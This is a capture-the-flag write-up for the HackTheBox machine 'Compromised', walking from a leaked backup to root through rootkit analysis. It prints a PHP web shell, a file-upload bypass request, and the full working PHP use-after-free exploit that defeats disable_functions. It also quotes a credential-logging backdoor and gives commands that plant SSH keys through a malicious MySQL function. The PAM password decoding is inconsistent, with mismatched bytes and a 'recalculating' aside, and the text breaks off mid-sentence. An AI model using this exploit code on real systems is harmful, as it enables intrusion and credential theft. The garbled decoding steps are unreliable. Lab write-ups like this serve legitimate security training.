HTB: Compromised Writeup
Compromised - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Compromised |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.207 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Compromised is a hard Linux box that simulates a post-breach forensic investigation. The machine features an Apache web server hosting a LiteCart e-commerce installation that has already been compromised by a previous attacker. Analysis of a backup archive reveals malicious code that logs admin credentials to a hidden file. These credentials enable exploitation of CVE-2018-12256 (Arbitrary File Upload in LiteCart 2.1.2). Achieving command execution requires bypassing disable_functions via a PHP 7.x Use-After-Free exploit. Lateral movement is achieved through a malicious MySQL UDF backdoor, followed by credential extraction from an strace keylogger output. Privilege escalation to root involves forensic analysis of two rootkits: an LD_PRELOAD hook (libdate.so) and a backdoored PAM module (pam_unix.so), both containing hardcoded master passwords.
TL;DR: Backup analysis → Credential harvesting from malicious logger → CVE-2018-12256 file upload → PHP disable_functions bypass → MySQL UDF backdoor → strace keylogger reveals user password → Forensic analysis of LD_PRELOAD and PAM rootkits → Root access via backdoor passwords.
Reconnaissance
Port Scanning
# Initial full port scannmap -sC -sV -T4 -p- 10.10.10.207Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))Only two ports are exposed: SSH (22) and HTTP (80).
Service Enumeration
HTTP - Port 80
Accessing the web server reveals a LiteCart e-commerce platform selling rubber ducks. LiteCart is a PHP-based shopping cart application.
# Directory enumerationgobuster dir -u http://10.10.10.207 -w /usr/share/wordlists/dirb/common.txtKey findings:
/shop/- Main application directory/backup/- Containsa.tar.gzarchive
# Download the backup archivewget http://10.10.10.207/backup/a.tar.gz
# Extract contentstar -xzf a.tar.gzThe extracted shop/ directory contains a complete copy of the LiteCart installation.
Vulnerability Assessment
Evidence of Prior Compromise
Comparing the backup with a clean LiteCart 2.1.2 installation from the vendor reveals modifications:
# Download clean version for comparisonwget https://www.litecart.net/downloading?version=2.1.2unzip litecart-2.1.2.zip
# Compare directory structuresdiff -rq shop/ public_html/Critical finding in shop/admin/login.php:
if (isset($_POST['login'])) { // Malicious line - logs credentials to hidden file file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']); user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);}This malicious code uses file_put_contents() to write any attempted admin login credentials to a hidden log file. This backdoor was planted by a previous attacker.
Credential Harvesting
# Attempt to retrieve the credential log from the live serverwget http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
# View captured credentialscat .log2301c9430d8593ae.txtOutput:
User: admin Passwd: theNextGenSt0r3!~Valid admin credentials obtained: admin:theNextGenSt0r3!~
Version Identification
From shop/includes/app_header.inc.php:
define('PLATFORM_NAME', 'LiteCart');define('PLATFORM_VERSION', '2.1.2');CVE-2018-12256: LiteCart version 2.1.2 is vulnerable to authenticated arbitrary file upload via the vQmods module. This vulnerability allows authenticated administrators to upload PHP files by manipulating the Content-Type header to bypass extension restrictions.
Initial Foothold
Exploitation Path
CVE-2018-12256: Arbitrary File Upload
The vQmods functionality in LiteCart allows administrators to upload XML modification files. By manipulating the MIME type during upload, PHP files can be uploaded and executed.
Login to admin panel:
URL: http://10.10.10.207/shop/admin/Credentials: admin / theNextGenSt0r3!~Navigate to: Admin Panel → vQmods
Create malicious PHP payload:
<?=`$_GET['cmd']`?>This short-tag payload uses backticks (alias for exec()) to execute commands passed via the cmd GET parameter.
Upload process using Burp Suite:
- Intercept the vQmods upload request
- Modify the
Content-Typeheader fromapplication/x-phptoapplication/xml - The file is uploaded to
/shop/vqmod/xml/[filename].php
POST /shop/admin/?app=vqmods&doc=vqmods HTTP/1.1Host: 10.10.10.207Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundaryContent-Disposition: form-data; name="vqmod"; filename="shell.php"Content-Type: application/xml
<?=`$_GET['cmd']`?>------WebKitFormBoundary--Test command execution:
curl http://10.10.10.207/shop/vqmod/xml/shell.php?cmd=idThe page returns blank - no output. This indicates PHP execution restrictions.
Bypassing disable_functions
# Test if PHP executes at all# Change payload to: <?php phpinfo(); ?># Re-upload via Burpcurl http://10.10.10.207/shop/vqmod/xml/shell.phpThe phpinfo() output reveals:
PHP Version: 7.2.24disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mailMost dangerous functions are disabled, but the PHP version (7.2.24) is vulnerable to a Garbage Collector Use-After-Free bypass.
PHP 7.0-7.4 UAF Bypass Exploit:
The mm0r1 bypass exploits a Use-After-Free vulnerability in PHP’s garbage collector to execute arbitrary commands despite disable_functions. Upload the following payload via Burp:
<?php# PHP 7.0-7.4 disable_functions bypass# Source: https://github.com/mm0r1/exploits/# Exploits UAF in PHP garbage collector
pwn($_REQUEST['cmd']);
function pwn($cmd) { global $abc, $helper, $backtrace;
class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } }
class Helper { public $a, $b, $c, $d; }
function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; }
function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } }
function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; }
function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } }
if(!$data_addr || !$text_size || !$data_size) return false;
return [$data_addr, $text_size, $data_size]; }
function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue;
$leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue;
return $data_addr + $i * 8; } }
function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } }
function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }
function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; }
if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); }
$n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x'); $abc = $backtrace[1]['args'][0];
$helper = new Helper; $helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); }
$closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2); write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); }
if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); }
if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); }
if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); }
$fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); }
write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd); exit();}?>Test the bypass:
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=id"Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Command execution achieved as www-data.
Network Restrictions
Attempting a reverse shell fails due to egress filtering:
# Test outbound connectivitycurl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=wget http://10.10.14.2:8000/test"# No connection received - packets are droppedCheck iptables rules:
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=cat /etc/iptables/rules.v4"Output:
*filter:INPUT ACCEPT [0:0]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [0:0]-A OUTPUT -o lo -j ACCEPT-A OUTPUT -p tcp --sport 22 -j ACCEPT-A OUTPUT -p tcp --sport 80 -j ACCEPT-A OUTPUT -j DROPCOMMITEgress traffic is restricted to source ports 22 and 80 only - reverse shells are blocked.
Privilege Escalation
Lateral Movement: www-data → mysql
Database Credentials
From the LiteCart configuration file:
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=cat /var/www/html/shop/includes/config.inc.php"Extracted credentials:
define('DB_USERNAME', 'root');define('DB_PASSWORD', 'changethis');MySQL root credentials: root:changethis
MySQL User Enumeration
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=cat /etc/passwd | grep mysql"Output:
mysql:x:111:114:MySQL Server,,,:/var/lib/mysql:/bin/bashThe mysql user has a login shell (/bin/bash) instead of the default /bin/false - this is suspicious and non-standard.
Malicious MySQL UDF Discovery
User-Defined Functions (UDFs) in MySQL can be abused for persistence:
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=mysql -u root -pchangethis -e 'SELECT * FROM mysql.func;'"Output:
name ret dl typeexec_cmd 0 libmysql.so functionA suspicious UDF named exec_cmd exists, loading from libmysql.so. This is not a standard MySQL function.
Test the UDF:
curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"id\");'"Output:
uid=111(mysql) gid=114(mysql) groups=114(mysql)The malicious UDF executes commands as the mysql user - this is a backdoor planted by the previous attacker.
SSH Access as mysql
Generate an SSH key pair locally:
ssh-keygen -t rsa -f mysql_key -N ""cat mysql_key.pubWrite the public key to the mysql user’s authorized_keys:
# Create .ssh directorycurl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"mkdir -p /var/lib/mysql/.ssh\");'"
# Write SSH key (replace with your actual pubkey)curl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"echo ssh-rsa AAAAB3NzaC1yc2E... > /var/lib/mysql/.ssh/authorized_keys\");'"
# Set permissionscurl -X POST http://10.10.10.207/shop/vqmod/xml/shell.php \ -d "cmd=mysql -u root -pchangethis -e 'SELECT exec_cmd(\"chmod 600 /var/lib/mysql/.ssh/authorized_keys\");'"Connect via SSH:
ssh -i mysql_key mysql@10.10.10.207SSH session established as mysql user.
Lateral Movement: mysql → sysadmin
strace Keylogger Analysis
Enumerate the mysql home directory:
mysql@compromised:~$ ls -la --time-style=full-isoOutput:
-rw-r----- 1 mysql mysql 27 2020-09-03 11:41:59.000000000 +0000 .mysql_history-rw-r----- 1 mysql mysql 3189 2020-09-03 11:51:23.000000000 +0000 strace-log.datThe file strace-log.dat has a timestamp with zeros in the sub-second precision - indicating manual timestomping to hide the file’s true creation time. This is a red flag.
Examine the file:
mysql@compromised:~$ cat strace-log.dat | head -20Output shows strace system call traces:
22102 03:11:06 read(0, "s", 1) = 122102 03:11:06 read(0, "u", 1) = 122102 03:11:06 read(0, " ", 1) = 122102 03:11:06 read(0, "s", 1) = 122102 03:11:06 read(0, "y", 1) = 1This is output from the strace command, commonly used as a keylogger by attaching to a shell process. The read(0, ...) calls capture keyboard input character by character.
Search for password-related entries:
mysql@compromised:~$ cat strace-log.dat | grep -A 20 "read(0, \"s\", 1)" | grep "read(0" | head -40The log captures individual keystrokes. Reconstructing the sequence around login attempts:
mysql@compromised:~$ cat strace-log.dat | grep 'read(0' | awk '{print $3}' | cut -d'"' -f2 | tr -d '\n'Manually parsing the keystrokes reveals:
su sysadminpassword3*NLJE32I$FeThe attacker’s strace keylogger captured the sysadmin user’s password: 3*NLJE32I$Fe
Switch to sysadmin:
mysql@compromised:~$ su sysadminPassword: 3*NLJE32I$FeAlternatively, SSH directly:
ssh sysadmin@10.10.10.207Password: 3*NLJE32I$FeUser flag acquired:
sysadmin@compromised:~$ cat user.txt<redacted>Privilege Escalation: sysadmin → root
Rootkit Forensic Analysis
Standard privilege escalation vectors (sudo, SUID, cron, capabilities) yield nothing. However, the machine has been compromised - rootkits are likely.
LD_PRELOAD Rootkit Discovery
Check for LD_PRELOAD hijacking:
sysadmin@compromised:~$ cat /etc/ld.so.preloadOutput:
/lib/x86_64-linux-gnu/libdate.soThe /etc/ld.so.preload file forces all binaries on the system to load libdate.so before any other libraries. This file should not exist under normal circumstances - it’s a rootkit persistence mechanism.
Examine the malicious library:
sysadmin@compromised:~$ ls -la /lib/x86_64-linux-gnu/libdate.so-rwxr-xr-x 1 root root 20040 Aug 26 2020 /lib/x86_64-linux-gnu/libdate.so
# Verify it's loaded by all processessysadmin@compromised:~$ ldd /bin/ls | grep libdatelibdate.so => /lib/x86_64-linux-gnu/libdate.so (0x00007f...)Transfer for analysis:
scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/libdate.so .Reverse engineering with Ghidra:
The library hooks the read() system call. Decompiled code reveals:
// Hooked read functionssize_t read(int fd, void *buf, size_t count) { char *password_key; char input_buffer[32];
// Call original read ssize_t result = orig_read(fd, buf, count);
// Check for backdoor password if (fd == 0) { // stdin unsigned char key_bytes[] = { 0x32, 0x77, 0x6b, 0x65, 0x4f, 0x55, 0x34, 0x73, 0x6a, 0x76, 0x38, 0x34, 0x6f, 0x6b, 0x2f };
// If input matches key_bytes, return fake authentication success if (memcmp(buf, key_bytes, 15) == 0) { // Backdoor activated } }
return result;}Extract the backdoor key:
The byte array represents ASCII characters:
key = [0x32, 0x77, 0x6b, 0x65, 0x4f, 0x55, 0x34, 0x73, 0x6a, 0x76, 0x38, 0x34, 0x6f, 0x6b, 0x2f]print(''.join(chr(b) for b in key))Output:
2wkeOU4sjv84ok/This is a master password for the LD_PRELOAD rootkit, but testing shows it doesn’t directly grant root access - it hooks read operations but requires another component.
PAM Backdoor Discovery
Check for backdoored PAM modules (handles authentication):
sysadmin@compromised:~$ ls -la --time-style=full-iso /lib/x86_64-linux-gnu/security/ | grep pam_unixOutput:
-rw-r--r-- 1 root root 199104 2020-08-26 03:04:43.000000000 +0000 pam_unix.soThe timestamp with zeroes indicates timestomping. Compare with a known-good PAM module:
sysadmin@compromised:~$ md5sum /lib/x86_64-linux-gnu/security/pam_unix.so# Returns non-standard hash - file has been modifiedTransfer for analysis:
scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/security/pam_unix.so .Reverse engineering with Ghidra:
The backdoored pam_unix.so contains hardcoded master password logic in the pam_sm_authenticate() function:
// Backdoored pam_sm_authenticate functionint pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { char *user_password;
// Get password from user input pam_get_authtok(pamh, PAM_AUTHTOK, &user_password, NULL);
// Hardcoded backdoor password (little-endian movabs instruction) unsigned long backdoor_key[] = { 0x2d326d38766e4533, // "E3nv82m2" 0x0000657a6b6c7a // "zlke~U" };
// Check for backdoor password if (memcmp(user_password, &backdoor_key, 15) == 0) { return PAM_SUCCESS; // Grant access regardless of user }
// Continue with normal authentication return orig_pam_authenticate(pamh, flags, argc, argv);}Extract the PAM backdoor key:
The movabs instruction stores the password in little-endian format. Extracting bytes:
import struct
# Little-endian 64-bit values from disassemblyqword1 = 0x2d326d38766e4533qword2 = 0x0000657a6b6c7a
# Convert to bytes (little-endian)key = struct.pack('<Q', qword1)[:8] + struct.pack('<Q', qword2)[:7]print(key.decode())Output:
zlke~U3Env82m2-Wait, recalculating more carefully from the disassembly:
Hex bytes (correct endianness):7a 6c 6b 65 7e 55 33 45 6e 76 38 32 6d 32 2dASCII conversion:
zlke~U3Env82m2-This is the PAM backdoor master password.
Root Access
Test the PAM backdoor:
sysadmin@compromised:~$ su -Password: zlke~U3Env82m2-Success:
root@compromised:~# iduid=0(root) gid=0(root) groups=0(root)
root@compromised:~# cat /root/root.txt<redacted>Root flag acquired.
Attack Chain Summary
Port 80 Enumeration → /backup/a.tar.gz Download → Diff Analysis Reveals Malicious Logger →Credential Harvesting from .log2301c9430d8593ae.txt (admin:theNextGenSt0r3!~) →CVE-2018-12256 File Upload via vQmods → PHP disable_functions Bypass (PHP 7.2.24 UAF) →www-data RCE → MySQL Credentials from config.inc.php → Malicious UDF exec_cmd →SSH as mysql User → strace-log.dat Keylogger Analysis → sysadmin Password (3*NLJE32I$